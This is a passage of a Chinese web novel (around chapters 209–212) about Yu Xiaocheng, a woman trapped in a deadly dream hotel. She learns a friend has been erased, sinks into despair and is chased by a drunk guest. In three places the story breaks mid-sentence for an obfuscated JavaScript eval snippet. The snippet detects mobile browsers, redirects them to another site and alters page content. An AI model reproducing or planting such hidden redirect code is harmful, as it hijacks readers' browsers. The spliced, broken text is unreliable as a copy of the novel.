“我被关在吸烟室那晚,旅店管理员修改了吸烟室的属性,我猜是改成了雏菊房,所以我才能安然无恙进入雏菊梦境。”俞小澄简单地向范正昂说明着情况。 范正昂听了更是诧异,反复确认三楼没有蔡德三人的身影后,他沉默了很久,然后面色凝重地问道:“你……俞小姐难道是旅店的工作人员?” 这或许是正常人的第一反应吧。 俞小澄如此想着,竟感觉一丝好笑,她曾经也因为吴樊祐的古怪行为而怀疑他有身份,不同的是,她的直觉对了,而范正昂的没对。 “何以见得?”俞小澄不答反问。 范正昂一边思考着措辞,一边支支吾吾回答:“就……你对付恶灵的能力,还有……你对管理者来说,有特殊的存在意义吧……” 他这么想无可厚非,这种情况任谁看来都跟开挂了一样,说她不是旅店人员,还真没人相信。 如今被范正昂提了这么一嘴,俞小澄都不得不怀疑,自己与穷途旅店究竟有什么不可告人的关系。 如果说,吴樊祐为她而进入穷途旅店,可以用喜欢来解释,那旅店管理者救她的目的又是什么呢? 甚至是唯一可以消灭恶灵的两个隐藏道具——招财进宝,她只是无意中捡到了宝,还是别有深意呢? 刚解开了一道谜题,脑子里立刻又蹦出无数道谜题,让俞小澄整个人感觉凌乱无比。 “我……应该不是。”俞小澄艰难地开口回应,“如果我与旅店有关系,当初管理者没理由将我也放入清洗计划的名单里。” 这样一想,俞小澄感觉能稍微理清思路,如果她自己也是旅店相关人员,吴樊祐没理由冒着生命危险进入旅店,而管理者也不应该启动清洗计划,丝毫不给她留后路。 其实细想之下,前台客服的回答已经明确地排除了这种可能性。 当时,旅店的清洗计划发动的同时,非住客暂时进入了冻结状态,就像吴樊祐那样。 因此,她依然是旅店住客,是有罪之人。 范正昂接受了她的自我辩解,一边点头一边附和道:“也对,昨晚管理者又将房型全部改为幽兰,大概又是一次清洗计划吧,某种角度而言,确实让他们得逞了,现在又只剩我们两人了。” 俞小澄苦笑道:“呃……那倒不是,昨晚是我临时变换了房型。” 当她说出这句话时,她仿佛看见范正昂的脸都绿了,一副想要质问又不敢得罪她的憋屈模样,最终咬牙憋出三个字:“为啥呀?” 俞小澄并非针对进入梦境的其他住客,毕竟,如果真要说针对,她完全可以选择寒梅梦境,送所有人上西天。 当然,虽然就结果而言,似乎没什么两样了,不过这只是意外罢了。 “如果我不提高梦境难度,又如何骗蔡德三人帮我做实验呢?”俞小澄厚着脸皮解释道。 范正昂重重叹了口气,对于俞小澄这个不敢得罪的大腿,他有怒不敢言,只能自我安慰道:“不是管理者捣乱,也算是好消息吧,至少意味着今晚又会恢复正常了,对吧?” 说话间,范正昂一脸严肃地盯着俞小澄,那眼神仿佛是在强调自己想要的答案,也无比渴望俞小澄能回应他的期待。 俞小澄迫于压力,举手对天发誓:“如果没人再来找茬,我保证不再动房型了。” 有了俞小澄的保证,范正昂才松了一口气。 冷清地吃过早饭后,俞小澄一如既往留在休息活动区打发时间,而范正昂振作起精神,又一次熟练地搞起了接待活动。 这一日新来的住客只有四人,在范正昂的带领下,熟悉了旅店整体布局,也了解了旅店与梦境的规则。 俞小澄实在佩服范正昂的耐心,当有人试图接近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136730|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她时,她依然会选择躲避。 尽量不结识任何新住客,是她习以为常的生存之道。 于是,她时不时便会听见他人非议,指责她为人高冷,不易接近,太过冷漠。 这些词,在吴樊祐离开后,她听过无数次,每一次她只是一笑置之。 曾经她竭力想摘除这样的标签,告诉别人自己不是这样的人,她也渴望朋友,渴望像其他人一样,看似无忧无虑地生活。 吴樊祐也曾说过她高冷,但那句评价没有恶意,也没有嘲笑,更没有责备,大抵与这些陌生人不同。 过去心中还责怪那人不懂她,如今她倒真活成了那人玩笑中的模样,顿感唏嘘。 现在再听到有人如此议论自己,她总会贴心地送上一个刀人的冰冷眼神,吓得背后指指点点的人立马噤声。 她已经不介意将这形象巩固得更令人印象深刻一些。 对此,范正昂一直表示尊重,并不会干预,也不会试图改变俞小澄。 对他而言,俞小澄依然是他隐藏的秘密武器,唯一知道他真实想法和秘密的人,让他感觉在旅店活着并不是梦的战友,就算进入梦境也能带给他安全感的超人。 俞小澄此刻心心念念的,只有下午2点开放的前台。 她心中有一个最重要的问题想要向客服求证。 这份期待让她的心一整天都安定不下来,看似在看漫画,实际上半天都没有翻动一页,每过几分钟就低头看一看手表,脸上焦虑的表情看得范正昂都忍不住上前关心。 “俞小姐,你有什么心事吗?需不需要我帮忙?”范正昂十分客气地问道。 俞小澄没跟他客气,直言:“说起来,还真有件事需要你帮忙。” 一听俞小澄愿意接受他的帮助,范正昂做出一副义不容辞的模样,洗耳恭听。 俞小澄浅笑道:“麻烦范先生等到下午2点时,看好这些新住客,别让他们下楼打扰我咨询客服。” “……” 范正昂哭笑不得,后悔自己就这么多余一问,不过他还是答应了俞小澄的请求,表示会尽量将新住客控制在三楼。 “所以,你打算咨询什么问题?还有什么规则是我们不知道的吗?还是说,你想通过客服了解,为何管理者要对你手下留情?”范正昂好奇问道。 俞小澄摇了摇头,道:“都不是,无关规则,客服也无权限告诉我管理者为何要插手,我只是想知道,我朋友是否逃离了旅店。” “噢……有可能吗?”范正昂的脸上写着担忧与不确定。 其实他们俩已经看过了太多失败案例,基本已经不相信有人能够走出旅店了。 对于未知,俞小澄有些茫然,强挤出一丝笑容,说:“不知道,但我愿意相信,如果成功了,岂不是还有更多可能性?” “比如?” “比如我可以先杀掉你,如果你变成恶灵,我就再杀你一次,多给你一次逃离的机会?”俞小澄露出不怀好意的笑。 范正昂惊得浑身一颤,吐槽道:“大姐,你不会认真的吧?怎么能说出这么恐怖的话……不必了,谢谢!” 俞小澄因这场玩笑而轻松地笑了起来,笑过后又一脸认真地说道:“其实不完全是玩笑,我只是觉得,你跟勇哥一样,都不应该是被困在旅店的人。” 范正昂先是愣了一下,片刻后才意识到俞小澄话中含义,嘴角露出一丝畅快的笑,轻声回道:“谢谢,你也一样。” 210. 希望 范正昂说话算话,为了满足俞小澄想要单独咨询客服不被打扰的要求,刻意对新住客隐瞒了下午2点开启的前台服务。 他吃完午饭,便跟个公司领导一样,拉上所有人开会,美其名曰——梦前培训。 俞小澄看着范正昂一套行云流水的操作,将新住客唬得一愣一愣的,心中无比佩服,甚至有些担心在原来的世界里,他的本职工作是传销。 当别人忙于“听课”时,俞小澄这个边缘人物脸不红心不跳地离开了休息活动区。 免不了又有嘴碎的人在背后嚼舌根,俞小澄懒得理会,径直下了楼。 回到一楼大厅时,西装革履的三号客服已经带着格式化的笑容,端正地立在柜台后,见俞小澄出现,也不客套地说出那句固定的台词,而是问俞小澄:“今天是俞小姐包场吗?” 从三号客服的话语中,俞小澄听出几分老朋友调侃的味道,听那口气,似乎已经知道俞小澄动了什么手脚。 俞小澄打趣道:“为你减少点工作量,不用谢。” 三号客服恭敬地问:“今日俞小姐还需要兑换衣服吗?又有不少新款式可供俞小姐挑选。” 一边说着,三号客服一边从柜台下拿出一个平板电脑,放到柜面上,示意俞小澄随意查看。 自从吴樊祐死后,前台的服务类型丰富了不少。 就比如这项换装服务,她前一天兑换过衣服后,第二天就推出了新装展示服务,她可以在平板电脑上任意查看和挑选衣服样式,且每过一段时间,旅店就会推出新品。 “不了。”俞小澄将平板电脑往三号客服身前推了推,拒绝了客服的好意,随后往咨询处的木箱里扔进一枚金币,“我有更重要的问题。” 三号客服面露微笑,说:“请问。” 俞小澄悄悄地呼了一口气,手指因激动纠缠在一起,稍稍调整情绪后,才开口问:“曾勇是否已经通过验证离开穷途旅店?” 期待让她心跳不已,宛如高考后查分,心心念念都是希望有个好成绩。 在俞小澄满心满眼的期待中,三号客服声音毫无起伏地开了口:“很遗憾,住客曾勇验证不合格,已抹除。” 无比熟悉的话语,总是轻而易举从客服口中被说出,嘴上说着遗憾,可俞小澄从未在客服的眼神中感受到分毫遗憾之情。 其实早就应该习惯了这种毫无意外的结局,可这一次,这句话仿佛一颗从天而降的陨石,恰好砸在了被困太空许久,好不容易修理好的宇宙飞船上,让逃生的梦彻底碎了。 所以,坚持这么久的努力究竟有何意义呢? 一股对这个世界的厌倦和讨厌在心里滋生蔓延,啃食着俞小澄的理智。 如果连她认为最不应该被困在旅店的人都无法从这里逃离,那还有坚持的价值吗? 俞小澄的眼神变得空洞无力,手机械地抬起,往木箱中又扔了一枚金币,声音毫无感情地从口中传出:“穷途旅店能够被毁灭吗?” 如果有人站在这里,恰好目睹了一切,一定会觉察到俞小澄的精神崩溃,兴许会有人或客套或真诚地开导两句,不管真实理由是出于担心自己的处境,还是出于关心别人。 可惜,宽敞的大厅里,除了俞小澄,便只有跟机器人一样的前台客服。 恐怕谁精神崩溃,都不会影响客服,只要这人没有做出违反旅店规则的行为。 因此,三号客服面对这样的问题,只管尽心尽责地做好本职工作,至于其他,他根本不会在意。 三号客服说:“抱歉,除了管理者,没人能毁灭穷途旅店,只要还有造梦者,旅店会一直存在。” 话音刚落,俞小澄就又扔进一枚金币,问:“如果造梦者全消失了呢?” 三号客服说:“这恐怕很难,只要世上还有罪人,穷途旅店必会迎来新住客,只要有新住客,便会有新的造梦者,旅店也会一直经营下去。” 俞小澄准备再投金币的手停顿在半空中,迟迟没有落下,沉默许久后,她缓缓收回手,双手无力地垂了下来。 丁零当啷一阵响,她甚至没有注意到,一把金币从指缝间溜走,滚落一地。 她在三号客服毫无温度的注视下,失魂落魄地拖着脚步,缓缓往楼梯间走去。 走进楼梯间,俞小澄整个人陷入一种茫然的境地,抬脚跨上台阶,却忽然不知道自己该去哪里。 上楼吗? 可上去了又能怎样呢? 楼上没有她想见的人…… 于是刚走一步,她就停下了步伐,抓着扶手滑坐在台阶上,眼睛无神地凝视着前方。 精神恍惚中,俞小澄从衣兜里掏出那两个陶瓷娃娃,握在手心,小心翼翼地摩挲。 这仿佛是她留在这间冰冷的旅店中唯一的精神寄托了。 孤寂,前所未有的孤独感如同无孔不入的风将她包裹,令她迷失了前进的方向,在无尽的黑暗中不断下坠。 “小白,就算我穿过无数梦境最终找到你,又能如何呢?” “我还天真地以为自己在给你们创造离开旅店的机会,其实最终只是将你们唯一存在的机会也剥夺了罢了。” “真是可笑,我算什么啊,真以为自己很强吗?” “不,我从来都只是一个失败者罢了,不管是在原来的世界,还是在这里……” “我保护不了任何人,也救不了任何人……” “我该怎么办?该怎么办……” 细弱的自言自语声在空荡的楼梯间回响,没有人会给她回应,只有回声不断强化着心底的孤独感,让形单影只的人显得更可怜。 杀不杀恶灵又有什么区别呢? 活不活着又有什么意义呢? 颓丧的话疯狂地撞击着一片死寂的内心,她觉得自己应该是难受的,却一滴眼泪都流不出来,负面情绪淹没了一切感情,但没能在这片死海中激起一圈涟漪。 茫然,她木讷地坐在楼梯间,不知道何去何从。 “俞小姐?” 楼上传来一声呼唤,俞小澄意识有些模糊,全凭条件反射抬头向上望去,在楼梯扶手的空隙里,她看到了一张脸,仿佛宕机了一般的脑子回想了许久,才想起对方的名字。 “哦,范先生。”俞小澄有气无力地回应了一句,然后又一脸倦意地将头转回,直视着前方,即便前方只有一面墙。 一阵脚步声从楼上传来,由远及近,一个人影行至俞小澄身旁,低头俯视着坐在台阶上一言不发的俞小澄。 范 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149288|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正昂诧异地问:“俞小姐不是要单独咨询客服吗?怎么坐在这里?” 俞小澄呆滞地回道:“问完了。” 发现俞小澄的状态不太寻常,范正昂小心翼翼地坐到了她身旁,担忧地问:“你……你问什么了?听到什么不好的消息了吗?” “活着吧。”俞小澄莫名其妙地回了一句。 “啊?”范正昂一头雾水。 俞小澄没有扭头看范正昂,依然保持着直视前方的姿势,其实她眼中什么也没有,心里空落落的,自说自话道:“别死了,死了就什么都没有了,我们注定离开不了旅店,活着吧,努力活着就好。” 范正昂不知道她发生了什么事,至于该如何回应,一时有些难以琢磨,思前想后,假笑两声,乐观地回道:“嗐,俞小姐总算想通了?我就说跟我一起在旅店建立属于我们的社区,也挺好的嘛。” “如果有一天我不在了,你也要努力活着,别被恶灵打败了。”俞小澄平静地说道。 范正昂越听越不正常,犹豫半晌,终于抬手轻轻拍了拍俞小澄的肩,关心道:“俞小姐……你没事吧?怎么突然说这种丧气话?呵呵,如果你都会被恶灵打败,还有谁能赢得了恶灵呢?” 俞小澄缓缓转过头,用那空洞的眼神望向范正昂,毫无感情地回答:“我好像已经找不到继续留在旅店的理由了,你的理由就挺好,活着就好,可活着对我来说,并不重要。” 的确没什么要紧的,活着又能怎样? 在无尽的思念中缅怀过往吗? 没有什么值得期盼的东西,也没有希冀能够见到某人…… 即使她有一天于无数的梦境中偶遇白羽楠,现在的她已经没有勇气消灭白羽楠化成的恶灵了。 她只要动手,白羽楠或许就彻底不存在了,就像曾勇一样,就像吴樊祐一样…… 这个世界已经没有支撑她留下的希望了。 说完这些话,俞小澄慢慢从地上爬起身,失魂落魄地迈步往楼上走,没有目标,没有目的,犹如失去意识的行尸走肉。 她将大脑放空,不去想任何事,不去纠结任何情绪,一切顺其自然,得过且过,不管前方发生任何事,她都觉得无所谓。 旁人说什么,她全当没听到,仿佛陷入自闭的世界。 就这么拖着步子走上三楼,她又如往常那般躺倒在懒人沙发上,看着窗外的天气。 今日阳光被乌云遮了个严实,阴暗的天空中飘着细雨,一整个颓废气息,跟现在的俞小澄一样。 与往常不同,她没有看漫画打发时间,而只是呆呆地窝在沙发里,茫然地望着天,彻底放空自己。 其他住客看到本就孤傲的人变得无比阴郁,全都不敢靠近,只是背地里议论纷纷。 对于她的状态,范正昂十分担忧,却又知道自己根本没法说动一个将自己封闭在壳里人,除非有一天她自己想通,然后弃壳而去。 于是范正昂只能选择不打扰,也尽量不让其他人靠近。 俞小澄就这么蜷缩在沙发里,双眼无神地望着窗外雨天。 不知过了多久,雨停了,云散了,蓝天从乌云的缝隙中露出脸,而阳光穿透云层,从窗口洒了进来,照在了俞小澄的身上,升起一股暖意。 211. 来自旅店的 不久后,俞小澄发现了一件奇怪的事,这旅店仿佛在故意找她茬。 就比如此刻,明明望着阴雨天,想要伴随这场雨,就此成为一只发霉发臭的咸鱼,天空忽然就由雨转晴。 其变化的速度实在太过惊人,俞小澄甚至看着太阳拨开乌云露出脸,都没有反应过来,直到身体被阳光晒得发烫,她才意识到天气的改变。 于是本来已经懒得动弹的俞小澄,为了躲避阳光,无奈地起身挪到了阴凉处的懒人沙发上。 可这阳光仿佛赖上了她一样,竟转移了射入窗口的角度,又一次晒到了俞小澄的身上。 就从这时起,接二连三的怪事开始发生在她身上。 躲不过太阳便开始摆烂,俞小澄目不转睛地盯着窗外刺眼的太阳看,结果从天而降一本漫画,还恰恰摊开砸在了她脸上。 一时分不清是想打她脸,还是想替她挡光。 俞小澄本来想给自己倒杯黑咖,可到嘴的咖啡里不止加了奶,还加了糖。 如果是加毒药,俞小澄或许还能理解,像这样毫无杀伤力的操作,俞小澄实在看不懂。 她又将自己关进了吸烟室,想着就此躺在小房间里懒得走了。 不管今晚是被安保人员消灭,还是传送到任何梦境,对她来说好像没有两样。 忽然桌上出现了一堆零食饮料,搞得她跟进吸烟室开私人派对一样。 想要自己安静一会儿的俞小澄,索性离开三楼,重新回到了楼梯间,随意往台阶上一坐,再次进入发呆时间。 然后楼梯间里莫名其妙响起了舒缓的音乐,让发呆的人以为又撞鬼了。 俞小澄只好从楼梯间逃出,来到了二楼封闭的走廊。 出了楼梯间,随便选了一边,一直走到走廊尽头,俞小澄将那面全身镜往边上挪了挪,给自己腾出一个容身空间,便蜷缩着身子往地上一坐,仿佛自己也是走廊里的一件摆设。 埋首在臂弯里,原本已经放空自己不去多想的俞小澄,因为这些莫名其妙的事件,此刻又忍不住去思考,到底这旅店跟自己有什么深仇大恨? “你是不是有病?” 一句带着些许恼怒的话脱口而出。 她也不知道自己在骂谁,亦不知道究竟是什么在跟自己作对。 仿佛在与对方置气,她挑衅一般冲着空气吼道:“你这么能耐,在这里又能搞出些啥花样来?要不你直接开一间客房?” 自然没有人会回答她,她微微抬起头,犀利的视线越过手臂,落在长长的走廊上。 过了许久也没有动静,就在她断定那个捉弄她的家伙,手没有那么长,大概伸不到二楼时,一缕光从侧面照到了她身上,明晃晃的,刺得她有些睁不开眼。 稍稍适应了一下,她循着光源转过头,赫然发现身旁的墙壁上方开出了一扇窗。 阳光透过窗玻璃照射进这条没有生气的走廊上,照在同样没有生气的俞小澄脸上,仿佛无声中回应了俞小澄的挑衅。 俞小澄被气得没了脾气,索性就这么晒着太阳,缩在墙角睡大觉。 一直晒到太阳下山,她也没挪动一步,有种就此睡到房间出来为止的味道。 俞小澄本以为自己装死,背后捣乱的人便拿她没辙了,没想到睡着睡着,忽然闻到一股油炸食品的香气,引得没吃晚饭的她肚子咕咕叫。 她睁开眼,甩了甩因血流不顺畅而发麻的手臂,抬眼便看见地上放着一个外卖袋子,袋子里放着汉堡薯条可乐三件套。 好家伙,连外卖都搞来了。 这究竟是捉弄,还是讨好? 连俞小澄自己都迷惘了。 她好像想到了什么,从衣兜里摸出招财进宝的陶瓷娃娃,无奈地挤出一丝笑。 “是你们在安慰我吗?”俞小澄自言自语问道。 如今还有谁会在意她的心情是好是坏呢?俞小澄只能想到招财和进宝。 如此一想,心中不免有些愧疚难当,她今后如何或许是无所谓了,可招财进宝呢? 她思索着自己能将招财进宝托付给谁,然后发现根本不需要思考,因为活在这间旅店里的人,也就范正昂她还认识。 “虽说你们是我的守护神,可如果我不在了,你们能被其他人看到吗?能成为其他人的守护神吗?” 俞小澄有些放心不下,又有些舍不得,为了不辜负招财进宝的好意,便将那份不知如何出现的外卖吃了个干净。 “等进入梦境后问问他们吧。” 俞小澄在喃喃自语中暂且做了决定。 然后又在走廊尽头坐了许久,直到窗户消失,环境改变,客房的门出现在走廊里,俞小澄知道又到了每日挑选房卡的时间了。 她在走廊里来回走了一圈,看见四种房型平均地分布在走廊里,可以确定今晚没有管理者来捣乱。 随后,俞小澄慢悠悠地下了楼,发现今晚住在旅店的5个人,此时正围在前台,全都是一副敌不动我不动的架势,看上去十分滑稽。 俞小澄心中不免生出一丝本不该有的疑惑。 “有这么难选吗?”俞小澄暗自腹诽。 看到俞小澄出现,范正昂眼前一亮,与往常一样,他只等着俞小澄先选,然后再跟着选一样的就好。 范正昂的举动,完全在俞小澄的预料之内,所以她并不觉得奇怪,可其他四人不动,就有些微妙。 俞小澄脚下一顿,这时候才有闲心打量了一下新住客。 今日入住的只有四人,两男两女,看上去心里都藏了点小九九。 一个不修边幅,穿得邋里邋遢,浑身酒气的大叔,人送称号“酒鬼”; 一个肥头大耳,看人眼神并不友好,说话阴阳怪气的男青年,被唤作小胖; 一个长相艳丽,说话却咄咄逼人的强势女人,被称为桑姐; 一个老实巴交,做事唯唯诺诺,胆小怕事的墙头草,叫做小布。 这四人聚在一起,简直是互相加持,拉帮结派,排挤外人。 不过一天时间,俞小澄与这些人的接触不深,可对他们酸臭的排挤操作算是深有体会。 正是这几个人,总管不住自己的嘴,在背后对俞小澄指指点点,似乎将俞小澄视为共同诋毁的对象,可以让他们之间的关系更加紧密。 俞小澄的视线在那四人脸上轻扫而过,并未做过多停留,然后便落回范正昂身上。 她眼底藏着一抹笑,有些替范正昂捏一把汗,心道:“这届新人可不好带。” 无视了所有人向她投来的目光,俞小澄漫不经心地走到柜台前,低头思索片刻,伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162147|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手拿走了一张幽兰房卡。 俞小澄知道她一动,范正昂必会跟她拿一样,早已习以为常,正好她有意将招财进宝托付给范正昂,便选了个稍微难一点的梦境,想着与范正昂独处,好交代事情。 可她正要转身离开,两只手慌慌张张伸了过来,拿走了剩下的两张幽兰房卡。 俞小澄一愣,因为那两只手并不属于范正昂。 范正昂此刻正站在不远处朝着俞小澄苦笑,而伸手拿走剩下两张幽兰房卡的人,一个是小胖,一个是桑姐。 不等俞小澄说话,桑姐就强势地截下话头,自顾自地安排道:“就这样吧,我与小布一间,酒鬼和小胖一间,至于范哥,就辛苦你与她一间咯。” 俞小澄还以为自己听错了,然后发现桑姐的手指正坚定地指向她。 小胖阴阳怪气地笑道:“哼,还说雏菊最简单,放着简单的不选,选难的,真不知道是脑子不正常,还是心里有鬼。” 他说这话时,眼珠子来回打转,眼神在俞小澄和范正昂之间飘忽不定,嘴角明显露出讥讽的笑。 俞小澄听得出,这话骂的不止是她,还有范正昂。 显然,这四个太有想法又相互裹挟在一起人,根本不相信范正昂会有那么好心,表面顺从,可心里弯弯绕绕。 于是便搞出了这一出。 “你这领导出师不利啊,第一天就被孤立了?” 俞小澄无视那些讨厌的嘴脸,径直走到了范正昂面前,带着幸灾乐祸的口吻,低声询问道。 范正昂一脸惆怅,重重叹了一口气,苦闷道:“常言道,小心驶得万年船,没想到有一天,我会因为小心,将船给开翻了。” 这事还真是因范正昂的谨慎而起,他一早就将房型对应的梦境难度仔细告诉了四位新住客。 可惜他忘了一件事,今天住客少,不存在雏菊房不够人住,需要往外协调的情况。 因此,轮到晚上选房卡时,范正昂如往常一般,客气地将最简单的雏菊房让给了四位新人,毕竟他知道,俞小澄不爱选雏菊房。 然后,就引起了这四个精明到抱团的机灵鬼的怀疑。 他们问范正昂为什么不跟他们选择一样的房型,范正昂想也没想,就按照常规操作回应:“哦,让俞小姐一个人进入梦境,我不放心,你们进雏菊梦境就好,我稍后跟着俞小姐选一样的房型,方便相互照应。” 范正昂想着为自己塑造温柔体贴的前辈人设,新住客必定无话可说,以前这招确实行之有效,从来没有人质疑过他有私心,更没怀疑俞小澄有什么不为人知的秘密。 这一次偏偏遇上四个总以恶意揣测他人的住客,这招就明显失效了。 四人明面上没说什么质疑的话,只道要和范正昂坐一条船,所以不管俞小澄选什么,他们都会跟随,绝不让范正昂落单。 其实话外之意,是不相信范正昂有这么好心,放着安全的选项不选,一定要给自己上难度,正常人怎么可能这么选? 不管范正昂如何解释,在那四人听来,都是谎言,于是他们更加坚定要跟随范正昂和俞小澄进入相同的梦境。 听了范正昂的说明,俞小澄冷笑一声,朝范正昂挥了挥房卡,语气阴森地说:“既然有人想试试幽兰梦境的难度,我又怎会拒绝呢?” 212. 来自住客的 俞小澄说这话时,完全没有避讳他人的意思,于是这句让人听起来格外具有挑衅意味的话,便轻飘飘地落入了紧随其后的四人耳中。 桑姐一听心里不爽,冷哼一声,翻着白眼,牙尖嘴利地跟身旁人说:“这种话呀,也就唬唬傻子,人呀,都有远离危险的本能,难度还用试么?” 看似在跟同伴交谈,实则句句说给俞小澄听。 她的话音刚落,小胖紧接着跟上,俨然一副一致对外的阵势。 小胖说:“呵呵,桑姐快别说了,我相信范哥不会在背后动歪心思,咱也别试,大家一起互助互利,对吧?咱要是试出来难度不过如此,不就尴尬了嘛?” 此话一出,桑姐和酒鬼哈哈大笑起来。小布时刻关注着所有人,不敢违背另外三人的意思,又顾忌另外两人的情绪,于是怯懦地扯着嘴角,发出两声微弱的笑。 范正昂有些气恼,正想转身同身后四人理论,被俞小澄伸手拦了下来,推着他继续前进。 一路听着其中三人你一言我一语拿她二人取乐,俞小澄没有任何反应,就像根本没听到一样,只有范正昂的脸气成了猪肝色。 总算到了二楼,酒鬼没有急着进房,说要到三楼再拿些酒,看着他一人醉醺醺地继续往楼上走,其他人则转进了二楼走廊。 剩下四人各自进房,等关上门,俞小澄才问范正昂:“幽兰梦境的主题和阵营规则,你有没有向那四人说明。” 范正昂没想到俞小澄一进门就问了这莫名其妙的一句话,神色立刻紧张起来,一脸严肃地回答:“没有,因为想着让新人只进入雏菊和箭竹两种梦境,所以更难的幽兰和寒梅我并没有进行详细说明。” “那就行,你先休息,我出去有点事。” 说完这句话,俞小澄小心翼翼地打开门,尽量不弄出太大声响,然后轻手轻脚走向了楼梯间。 三楼的餐厅里,一个醉醺醺的中年男人正在酒柜里挑选喜欢的酒。 他不知道为何自己会来到这个奇怪的地方,可这地方的酒可以免费畅饮,叫他格外欢喜。 正在翻看瓶身时,忽然听到一阵脚步声,男人抬眼望去,只见他一直看不顺眼的高冷女人出现在餐厅门口。 “哟,这不是那个谁么,俞……俞小姐,哈哈,怎么?想来陪哥喝两杯?” 酒鬼嘴里说着轻浮的话,拿上两瓶酒,两个酒杯,脚下步伐有些不稳,朝着俞小澄走了几步,就跌坐在了椅子上。 他索性将酒往桌上一放,将旁边的椅子拉到身旁,拍了拍椅背,朝俞小澄招了招手,命令道:“过来,陪哥坐坐。” 俞小澄没有逃,眼神冰冷,径直朝酒鬼走去。 酒鬼的视线全程直勾勾地落在俞小澄身上,眼神有些不怀好意。 俞小澄没有在酒鬼身边坐下,而选择隔着桌子,坐在了酒鬼的对面,不同他多讲废话,直奔主题道:“你还有心思喝酒,今晚你跟那胖子必死一个。” 酒鬼面色一沉,酒瓶往桌面一磕,咚的一声闷响,桌子随之震动。 “你这女人真晦气,去去去,不喝酒赶紧滚。” 面对酒鬼不友善的驱赶,俞小澄毫不畏惧,平静地遵循着自己的节奏,不急不躁道:“你猜为什么范正昂要哄骗你们去雏菊房,然后单独与我选在一样的房间呢?” 酒鬼停下了驱赶的手势,眼珠在眼眶里转动一圈,竟将俞小澄的话听了进去。 “什么意思?”酒鬼问。 俞小澄见鱼儿开始对鱼饵表现出兴趣,于是继续用漫不经心的语调说道:“范正昂没告诉你们进入幽兰梦境的禁忌吗?” 酒鬼一脸不满,怒哼道:“那小子说幽兰和寒梅最好别碰,只告诉了我们雏菊和箭竹两个梦境的大致规律,谁知道是真是假。” 俞小澄忍不住冷哼一声,觉得眼前这个以小人之心揣度他人好意的人,实在无需同情,更坚定了自己的想法。 “这点他并没有说谎,只是任何梦境都有风险,而他找到了一种更保险的方式,能确保安全离开梦境。”俞小澄慢悠悠地解释。 酒鬼一听来了兴致,身子不由得往前倾,脸上堆着令人恶心的笑,做出一副洗耳恭听的模样,问:“有什么办法能安全离开梦境?” “之前有,但因为你们闹着要住幽兰房后,这方法就不管用了。”俞小澄的话中带了一丝丝嘲讽。 酒鬼急躁道:“你有啥话明说,别跟我绕这么一大圈。” 俞小澄依然不慌不忙,维持着自己的节奏,道:“很简单,幽兰梦境是同住二人之间的决斗,如果房间只住一人,则进入梦境便宣布游戏胜利,相反,游戏会一直持续到同住二人之中死其一为止。” “你……干嘛要告诉我?”酒鬼起疑。 俞小澄满脸不屑地回道:“只是提醒你赶紧回房解决今晚的对手,别一直杵在这里打扰我睡觉。” “啥?在这儿睡觉?”酒鬼上下打量着俞小澄,又往四周敲了敲,掏了掏耳朵,怀疑自己没听清。 “不都跟你说了,幽兰房住两人,必有一人会死,我不认为我能打得过范正昂,所以我打算在这里住一晚。”俞小澄煞有其事地解释道,并装作不耐烦地催着酒鬼离开。 酒鬼心里不知道在盘算着什么,一直赖着不走,还给自己倒了一杯酒,一饮而尽,抹着嘴问道:“范正昂不是说晚上十点后不能在客房外逗留吗?你怎么……” 俞小澄眼睛眯成一条缝,语气中带着疑惑,说:“哦?范正昂这么跟你说的?” “不是吗?” “是,他说是就是吧。” 俞小澄有意赶客,酒鬼心中更是怀疑,权衡一番利弊后,生出了点坏心思,他看着俞小澄露出一脸□□。 “要不哥哥今夜留下来陪你吧?” 酒鬼摇摇晃晃站起身,向俞小澄走来。俞小澄心觉不妙,想也没想就起身往门外跑。 那酒鬼直接推开挡住自己的桌子,伸手就向俞小澄抓去,被俞小澄敏捷地闪躲开。 酒鬼穷追不舍,满脸通红,一副焦躁的模样,嘴里不干不净地喊着,要俞小澄留下来陪他过夜。 俞小澄一边躲避着酒鬼不安分的手,一边往门外冲。 若是比耐力和爆发力,俞小澄很吃亏,只能借餐厅里的桌子椅子阻拦酒鬼追逐的脚步,随手将椅子往身后扳倒,打乱身后追击者的节奏。 险险逃出餐厅,她顺手将玻璃门闭上。 这玻璃门平时根本锁不上,所以她也不指望能靠玻璃门彻底拦住酒鬼,只是暂时拦上一拦,好让她有片刻时间思考该往哪儿逃。 俞小澄没有冲下楼,而是转进了休息活动区,然后又被酒鬼一路追赶,躲进了吸烟室,在酒鬼拉门的前一刻,将门反锁。 终于, 